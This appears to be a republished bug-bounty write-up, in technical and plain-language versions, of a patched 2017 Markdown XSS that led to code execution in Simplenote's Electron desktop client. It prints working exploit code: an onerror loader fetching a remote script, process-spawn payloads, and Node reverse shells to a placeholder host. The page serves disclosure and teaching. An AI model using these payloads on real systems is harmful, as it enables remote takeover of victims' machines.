Skip to content
XSS Write-up Intermediate

Taking note XSS to RCE in the simplenote electron client

A crafted Markdown note containing an image tag with an onerror handler could execute JavaScript when previewed in the Simplenote Electron client, leading to arbitrary code execution and sandbox escape. An attacker could spawn applications or establish a reverse shell on the victim's machine.

Yasin Soliman Follow

Published on ysx.me.uk

Originally released in 2013, Electron is a framework for creating native desktop products with JavaScript, HTML, and CSS. Since then, companies such as Microsoft and Slack have built Electron into their development process.

Yasin Soliman (@SecurityYasin), on ysx.me.uk

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Electron, first released in 2013, is a framework for building native desktop applications with JavaScript, HTML and CSS. It is used by companies such as Microsoft and Slack, and cross-platform Electron apps are widespread. The security consequence is that a familiar web issue such as cross-site scripting (XSS) can turn into arbitrary code execution with only a few lines of JavaScript. Prior public work on this theme includes Doyensec's "Modern Alchemy: Turning XSS into RCE", Dean Kerr's "As It Stands: Electron Security", NCC Group's "Avoiding pitfalls developing with Electron" and Lukas Reschke's "From Markdown to RCE in Atom".

Simplenote is a note-taking application from Automattic. Besides the web app at app.simplenote.com, there is an Electron-based desktop client for Windows and Linux. Users share notes with one another by creating a new tag containing the recipient's email address. Notes support Markdown formatting and a preview mode.

The bug described here is an XSS in the Electron context of the Simplenote desktop client, prior to version 1.1.0, which allows a crafted Markdown note to execute arbitrary code in the client when the recipient previews it, breaching the sandbox. Application spawn and reverse shell proofs of concept were demonstrated to the Automattic team.

Yasin Soliman
Yasin Soliman From the original on ysx.me.uk

Setup

The attack requires two parties: an attacker who can share a note with a victim, and a victim running the Simplenote desktop client on Windows or Linux. Sharing is done through the normal feature: the attacker creates a tag containing the victim's email address, which shares the note with them.

The attacker also needs an accessible remote web server to host the JavaScript payload, and a way to encode a loader script into Unicode-value form, returning an eval(String.fromCharCode(...)) string. On the testing side, Process Monitor is used to observe process creation on Windows.

Finding it

The starting point was an observation of XSS within the Electron context. From there, the researcher worked out that a carefully crafted Markdown note, when previewed by a recipient, would lead to arbitrary code execution in the Simplenote client. The note body is rendered as Markdown in the client, and the preview path allowed injected HTML with event handlers to run in the Electron renderer.

Exploitation

The reproduction follows the step-by-step example from HackerOne report #291539, which pops netplwiz.exe on a Windows target via cmd.exe. It consists of an externally hosted JavaScript file containing the core payload, retrieved by an encoded loader script.

Step 1: host the payload

Create a new JavaScript file with the following payload, referred to as electron.js, and host it on an accessible remote web server.

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

The payload reaches the internal process_wrap binding to obtain the Process constructor, copies the current environment into an array of key=value pairs, and calls spawn to start cmd.exe with /k netplwiz. Standard input, output and error are all set to ignore.

Step 2: build and encode the loader

Prepare the following loader script, substituting server with the host of the remote web server. Then encode the script into Unicode-value form, which should return an eval(String.fromCharCode(...)) string.

JavaScript
var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://server/electron.js'; document.body.appendChild(js);

The loader creates a script element pointing at the hosted electron.js and appends it to the document body.

Step 3: construct the note

Copy the resulting eval(String.fromCharCode()) output into the desktop client. An image tag with the onerror attribute evaluates the JavaScript and injects the loader into the Simplenote DOM.

HTML
# Test note - execution PoC
<img src=x onerror=eval(String.fromCharCode(...))>

Step 4: preview the note

The JavaScript takes effect when Markdown formatting is enabled for the note and the "Preview" option is selected.

Step 5: observe execution

A readout from Process Monitor shows the Simplenote executable spawning a cmd.exe process, within which the netplwiz.exe executable is loaded.

Supplementary payloads

The report also documents payloads for other outcomes.

Execute an application

On Windows, the following executes cmd.exe with a child netplwiz window:

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

On Linux, the following directly executes the gnome-calculator binary:

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Establish a Node reverse shell

On Windows, the following creates a cmd.exe reverse shell to receiving-IP on port 8080:

JavaScript
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

On Linux, the following creates a Bash reverse shell to receiving-IP on port 8080:

JavaScript
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

Root cause

The client renders note content as Markdown, and the preview path allowed injected HTML, here an <img> with an onerror handler, to execute JavaScript inside the Electron renderer. The payloads used Node.js primitives such as process.binding('process_wrap') and require to spawn processes and open sockets, so the XSS crossed the sandbox boundary into arbitrary code execution. The report does not describe the specific renderer or Electron configuration flags involved.

Impact

An attacker who shares a crafted Markdown note with a victim, through the normal tag-based sharing feature, can execute arbitrary code on the victim's machine when the victim enables Markdown formatting and selects "Preview". The demonstrated outcomes are launching applications (netplwiz.exe via cmd.exe on Windows, gnome-calculator on Linux) and establishing reverse shells to an attacker-controlled host on port 8080. The affected client is the Electron desktop app for Windows and Linux prior to version 1.1.0; the report does not state the impact on the web app.

Fix

Automattic fixed the issue in the v1.1.0 release, such that arbitrary JavaScript can no longer be executed from within the Electron context.

Research timeline

All timestamps are in GMT.

Time Event
2017-11-18 17:57 Bug reported
2017-11-20 11:04 Acknowledged and validated
2017-11-20 18:42 Patch release confirmed
2017-11-22 13:57 Disclosure requested
2017-11-27 13:53 Disclosure request approved
Yasin Soliman
Yasin Soliman From the original on ysx.me.uk

Variants to test

  1. Other Markdown renderers in Electron apps. Submit <img src=x onerror=...> and similar event-handler HTML in any field rendered as Markdown (notes, comments, descriptions). A positive result is the handler firing in the renderer, visible as a dialog, a network request or a spawned process.
  2. Node.js reachability from the renderer. In a renderer where you have script execution, try process.binding('process_wrap') or require('child_process'). A positive result is a successful spawn of a harmless binary such as gnome-calculator or cmd.exe /k netplwiz.
  3. Shared-content paths. Deliver the payload through sharing features (tags, invitations, collaborative documents) rather than direct editing. A positive result is execution on the recipient's machine without any further interaction beyond opening or previewing the item.
  4. Preview versus edit mode. Test whether the payload fires only in preview, only in edit mode, or in both, to map which rendering path lacks sanitisation.
  5. Cross-platform payloads. Repeat the spawn test with platform-specific binaries on Windows and Linux to confirm the primitive is not tied to one OS.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Simplenote is a note-taking application made by Automattic. You can use it in a web browser, but there is also a desktop program you install on your computer, for Windows and Linux. That desktop program is built with a tool called Electron.

Electron lets a company write a desktop program using the same ingredients as a website: JavaScript (the language that makes web pages interactive), HTML (the language that describes what is on a page) and CSS (the language that describes how it looks). Many well-known companies, including Microsoft and Slack, build their desktop programs this way. The catch is that a problem that is common on websites can become much more serious inside a desktop program.

One such common problem is cross-site scripting, usually shortened to XSS. In plain terms, XSS means getting a program to treat something you typed as if it were part of the program's own instructions. Imagine a noticeboard where people pin notes. Normally you pin a note that says "buy milk". But if the board's caretaker reads every note aloud as an instruction, and you pin a note saying "open the safe", the caretaker will open the safe. XSS is that trick: your text gets read as an instruction.

In this case, the researcher found that a note containing a small piece of JavaScript, when previewed by the person who received it, would run as a real program on that person's computer. That is called arbitrary code execution: the attacker's code runs on the victim's machine. The researcher showed Automattic that this could launch applications and even open a reverse shell, which is a way for the attacker's computer to control the victim's computer from a distance.

Yasin Soliman
Yasin Soliman From the original on ysx.me.uk

The problem was fixed in version 1.1.0 of the Simplenote desktop client. The researcher thanks the Automattic security team for fixing it quickly, and EdOverflow for helping with the investigation.

Background: why Electron matters here

Electron was first released in 2013. It is a framework, meaning a ready-made set of building blocks, for making desktop programs with web technology. Because the same code can run on Windows, Linux and macOS, Electron apps are everywhere.

The security consequence is simple to state. On a website, XSS usually means an attacker can do things inside your browser tab: read what is on the page, act as you on that site, and so on. In an Electron app, the same XSS can reach the computer itself, because the app is a real program with real access to your files and programs. A few lines of JavaScript can then start other programs.

This is not a new theme. The report points to earlier public work on it:

  • "Modern Alchemy: Turning XSS into RCE" by Luca Carettoni (Doyensec)
  • "As It Stands: Electron Security" by Dean Kerr
  • "Avoiding pitfalls developing with Electron" by NCC Group
  • "From Markdown to RCE in Atom" by Lukas Reschke

RCE stands for remote code execution: running your own code on someone else's machine.

The product and the feature that was abused

Simplenote is a popular note-taking application from Automattic. Besides the web app at app.simplenote.com, there is an Electron-based desktop client for Windows and Linux.

Simplenote lets users share notes with each other. The way you do it is to create a new tag containing the recipient's email address. A tag is just a label you attach to a note; here the label happens to be an email address, and the app treats that as "share this note with this person".

Notes also support Markdown. Markdown is a lightweight way of writing formatting using plain characters: for example, starting a line with # makes a heading. The client can show the raw Markdown or a rendered preview. The preview is where the trouble was.

The bug is an XSS in the Electron context of the Simplenote desktop client, in versions before 1.1.0. A carefully crafted Markdown note, when previewed by the recipient, executes arbitrary code in the client, breaking out of the sandbox. A sandbox is a restricted area a program is supposed to stay inside; breaking out of it means reaching the rest of the computer. The researcher demonstrated two proofs of concept to the Automattic team: one that launches an application, and one that opens a reverse shell.

What you need for the attack

Two parties are involved:

  1. An attacker who can share a note with a victim. This uses the normal sharing feature: the attacker creates a tag containing the victim's email address.
  2. A victim running the Simplenote desktop client on Windows or Linux who opens the shared note and previews it.

The attacker also needs two pieces of equipment:

  • A web server reachable from the victim's computer, to host the JavaScript payload. A web server is just a computer that hands out files when asked; you can rent one or use a hosting service.
  • A way to encode a loader script into Unicode-value form, returning an eval(String.fromCharCode(...)) string. Encoding means turning text into a different representation. String.fromCharCode is a JavaScript function that turns numbers into characters, and eval is a JavaScript function that runs a string as code. So the encoded form is a string of numbers that, when run, rebuilds the original script.

On the testing side, the researcher used Process Monitor, a free Microsoft tool that records which programs start on a Windows machine, to show what happened.

How the problem was found

The starting point was an observation of XSS within the Electron context. From there, the researcher worked out that a carefully crafted Markdown note, when previewed by a recipient, would lead to arbitrary code execution.

The client renders note content as Markdown, and the preview path allowed injected HTML to run. HTML is the language of web pages, and it supports event handlers: attributes that tell the page "when this happens, run that code". Here the injected HTML was an <img> tag with an onerror handler, which runs when the image fails to load. That handler ran JavaScript inside the Electron renderer. The renderer is the part of an Electron app that displays the page, similar to a browser tab. The payloads used Node.js, the JavaScript runtime that Electron uses to give desktop powers to the app. Through Node.js, script in the renderer could start processes and open network connections. That is how an XSS crossed the sandbox boundary into arbitrary code execution.

Step by step: reproducing the attack

The reproduction follows the step-by-step example from HackerOne report #291539. HackerOne is a platform where security researchers report bugs to companies. The example pops netplwiz.exe on a Windows target via cmd.exe. netplwiz.exe is a standard Windows program (the User Accounts dialog), and cmd.exe is the Windows command prompt. The point is a visible demonstration that the attacker can start a program.

The attack has two files: an externally hosted JavaScript file containing the core payload, and an encoded loader script that fetches and runs it. Splitting it this way keeps the note itself short.

Step 1: host the payload

Create a new JavaScript file with the following payload, referred to as electron.js, and host it on an accessible remote web server.

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Line by line:

  • var Process = process.binding('process_wrap').Process; reaches into Node.js's internal process_wrap binding to obtain the Process constructor. A binding is an internal connection to lower-level code; a constructor is the function that creates a new object of a given kind. In plain terms, this line gets hold of the machinery for starting programs.
  • var proc = new Process(); creates one such object, called proc.
  • proc.onexit = function(a,b) {}; sets what happens when the process exits. Here it is an empty function, so nothing happens.
  • var env = process.env; copies the current environment. The environment is the set of named settings a program inherits, such as the location of important folders.
  • var env_ = []; creates an empty list to hold those settings.
  • for (var key in env) env_.push(key+'='+env[key]); walks through every setting and adds it to the list in the form key=value.
  • proc.spawn({...}); starts a new program. spawn means "start a process". The options say: run cmd.exe with the arguments /k netplwiz, which tells the command prompt to run netplwiz and keep the window open. The working directory is null (not set), windowsVerbatimArguments is false (arguments are quoted the normal Windows way), detached is false (the new process stays attached), envPairs passes the environment list built above, and stdio sets standard input, output and error all to ignore, so the new program has no visible console attached.

Why this step: the payload has to live somewhere the victim's client can fetch it. A web server is the simplest such place.

Step 2: build and encode the loader

Prepare the following loader script, substituting server with the host of the remote web server. Then encode the script into Unicode-value form, which should return an eval(String.fromCharCode(...)) string.

JavaScript
var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://server/electron.js'; document.body.appendChild(js);

Line by line:

  • var js = document.createElement('script'); creates a new script element. In a web page, a script element is what tells the browser to load and run a JavaScript file.
  • js.type = 'text/javascript'; marks it as JavaScript.
  • js.src = 'http://server/electron.js'; points it at the hosted payload. Replace server with your own web host.
  • document.body.appendChild(js); adds the element to the page. Once it is part of the page, the client fetches and runs the file.

Encoding the loader into numbers means the note contains no obvious script text, just a call that rebuilds and runs it.

Step 3: construct the note

Copy the resulting eval(String.fromCharCode()) output into the desktop client. An image tag with the onerror attribute evaluates the JavaScript and injects the loader into the Simplenote DOM. The DOM is the browser's or app's in-memory model of the page; injecting into it means adding elements that were not there before.

HTML
# Test note - execution PoC
<img src=x onerror=eval(String.fromCharCode(...))>

Line by line:

  • # Test note - execution PoC is a Markdown heading. It is just a label for the test note.
  • <img src=x onerror=eval(String.fromCharCode(...))> is an image tag. src=x tells it to load an image from a location called x, which does not exist, so the load fails. When an image fails to load, the onerror handler runs. That handler calls eval on the output of String.fromCharCode(...), which rebuilds the loader script and runs it. The ... stands for the numbers produced by the encoder.

Step 4: preview the note

The JavaScript takes effect when Markdown formatting is enabled for the note and the "Preview" option is selected.

Step 5: observe execution

A readout from Process Monitor shows the Simplenote executable spawning a cmd.exe process, within which the netplwiz.exe executable is loaded.

Process Monitor records exactly that: which program started which other program.

Other payloads from the report

The report also documents payloads for other outcomes.

Execute an application

On Windows, the following executes cmd.exe with a child netplwiz window:

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'cmd.exe',args:['/k netplwiz'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

This is the same payload as in step 1, repeated here as a standalone example. It obtains the Process constructor, copies the environment into key=value pairs, and calls spawn to start cmd.exe with /k netplwiz, so netplwiz.exe runs in a child window, with input, output and error ignored.

On Linux, the following directly executes the gnome-calculator binary:

JavaScript
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});

Line by line, this is the same as the Windows version, with one difference: file:'/usr/bin/gnome-calculator' starts the calculator program directly, with no args entry, because there is no command prompt in between. gnome-calculator is the standard calculator on many Linux desktops. A binary is a program file that the computer runs directly.

Establish a Node reverse shell

A reverse shell is a connection from the victim's computer back to the attacker, giving the attacker a command prompt on the victim's machine. "Reverse" because the victim's machine makes the outgoing connection, which is often easier to get through firewalls than an incoming one.

On Windows, the following creates a cmd.exe reverse shell to receiving-IP on port 8080:

JavaScript
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

Line by line:

  • var net = require("net"), sh = require("child_process").exec("cmd.exe"); loads two Node.js modules. require is how Node.js loads a module, a reusable piece of code. net handles network connections. child_process starts other programs, and .exec("cmd.exe") starts the Windows command prompt. The result is stored in sh.
  • var client = new net.Socket(); creates a network socket, which is one end of a connection between two computers.
  • client.connect(8080, "receiving-IP", function(){...}); connects to the attacker's machine at receiving-IP on port 8080. A port is a numbered channel on a computer, so several services can share one address. When the connection is up, the function runs.
  • client.pipe(sh.stdin); sends anything arriving from the attacker into the command prompt's input.
  • sh.stdout.pipe(client); sends the command prompt's normal output back to the attacker.
  • sh.stderr.pipe(client); sends its error output back too.

pipe means "connect this stream to that stream", like joining two hoses. Together, the three pipes turn the connection into an interactive command prompt.

On Linux, the following creates a Bash reverse shell to receiving-IP on port 8080:

JavaScript
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(8080, "receiving-IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

This is the same as the Windows version, except that it starts /bin/bash, the standard Linux shell, instead of cmd.exe. A shell is a program that reads commands and runs them.

Why it worked

The client renders note content as Markdown, and the preview path allowed injected HTML, here an <img> with an onerror handler, to execute JavaScript inside the Electron renderer. The payloads used Node.js features such as process.binding('process_wrap') and require to start processes and open network connections. That is how the XSS crossed the sandbox boundary into arbitrary code execution. The report does not describe the specific renderer or Electron configuration flags involved.

What the impact was

An attacker who shares a crafted Markdown note with a victim, through the normal tag-based sharing feature, can execute arbitrary code on the victim's machine when the victim enables Markdown formatting and selects "Preview". The demonstrated outcomes are launching applications (netplwiz.exe via cmd.exe on Windows, gnome-calculator on Linux) and establishing reverse shells to an attacker-controlled host on port 8080. The affected client is the Electron desktop app for Windows and Linux before version 1.1.0. The report does not state the impact on the web app.

The fix

Automattic fixed the issue in the v1.1.0 release, such that arbitrary JavaScript can no longer be executed from within the Electron context.

Timeline of the research

All timestamps are in GMT, Greenwich Mean Time.

Time Event
2017-11-18 17:57 Bug reported
2017-11-20 11:04 Acknowledged and validated
2017-11-20 18:42 Patch release confirmed
2017-11-22 13:57 Disclosure requested
2017-11-27 13:53 Disclosure request approved
Yasin Soliman
Yasin Soliman From the original on ysx.me.uk

Things worth testing elsewhere

  1. Other Markdown renderers in Electron apps. Submit <img src=x onerror=...> and similar event-handler HTML in any field rendered as Markdown (notes, comments, descriptions). A positive result is the handler firing in the renderer, visible as a dialog, a network request or a started process.
  2. Node.js reachability from the renderer. In a renderer where you have script execution, try process.binding('process_wrap') or require('child_process'). A positive result is a successful start of a harmless program such as gnome-calculator or cmd.exe /k netplwiz.
  3. Shared-content paths. Deliver the payload through sharing features (tags, invitations, collaborative documents) rather than direct editing. A positive result is execution on the recipient's machine with no further interaction beyond opening or previewing the item.
  4. Preview versus edit mode. Test whether the payload fires only in preview, only in edit mode, or in both, to map which rendering path lacks sanitisation. Sanitisation means cleaning input so that dangerous parts are removed.
  5. Cross-platform payloads. Repeat the start-a-program test with platform-specific programs on Windows and Linux to confirm the technique is not tied to one operating system.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • Arbitrary code execution: running code of the attacker's choosing on someone else's computer.
  • Binding: an internal connection in Node.js to lower-level code, here process_wrap.
  • Binary: a program file the computer runs directly, such as /usr/bin/gnome-calculator.
  • Child process: a program started by another program.
  • Constructor: the function that creates a new object of a given kind.
  • CSS: the language that describes how a web page looks.
  • DOM: the in-memory model of a page that the browser or app builds from HTML.
  • Electron: a framework for building desktop programs with JavaScript, HTML and CSS.
  • Environment: the set of named settings a program inherits, such as folder locations.
  • eval: a JavaScript function that runs a string as code.
  • Event handler: an attribute such as onerror that tells a page to run code when something happens.
  • Framework: a ready-made set of building blocks for writing software.
  • GMT: Greenwich Mean Time, a time standard.
  • HackerOne: a platform where researchers report security bugs to companies.
  • HTML: the language that describes what is on a web page.
  • JavaScript: the programming language that makes web pages and Electron apps interactive.
  • Markdown: a lightweight way of writing formatting with plain characters, such as # for a heading.
  • Module: a reusable piece of code that a program can load, here with require.
  • Node.js: the JavaScript runtime Electron uses to give desktop powers to an app.
  • Pipe: to connect one stream of data to another, like joining two hoses.
  • Port: a numbered channel on a computer, so several services can share one address.
  • Process: a running program.
  • Process Monitor: a Microsoft tool that records which programs start on Windows.
  • Proof of concept (PoC): a small demonstration that a bug is real and exploitable.
  • Remote code execution (RCE): running your own code on someone else's machine.
  • Renderer: the part of an Electron app that displays the page, similar to a browser tab.
  • Reverse shell: a connection from the victim's machine back to the attacker that gives the attacker a command prompt.
  • Sandbox: a restricted area a program is supposed to stay inside.
  • Sanitisation: cleaning input so dangerous parts are removed.
  • Shell: a program that reads commands and runs them, such as cmd.exe or /bin/bash.
  • Socket: one end of a network connection between two computers.
  • Spawn: to start a new process.
  • Tag: a label attached to a note; in Simplenote, a tag containing an email address shares the note with that person.
  • Unicode-value form: a representation of text as character codes, rebuilt with String.fromCharCode.
  • Web server: a computer that hands out files when asked.
  • XSS: see cross-site scripting.

More by Yasin Soliman

View all

6 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.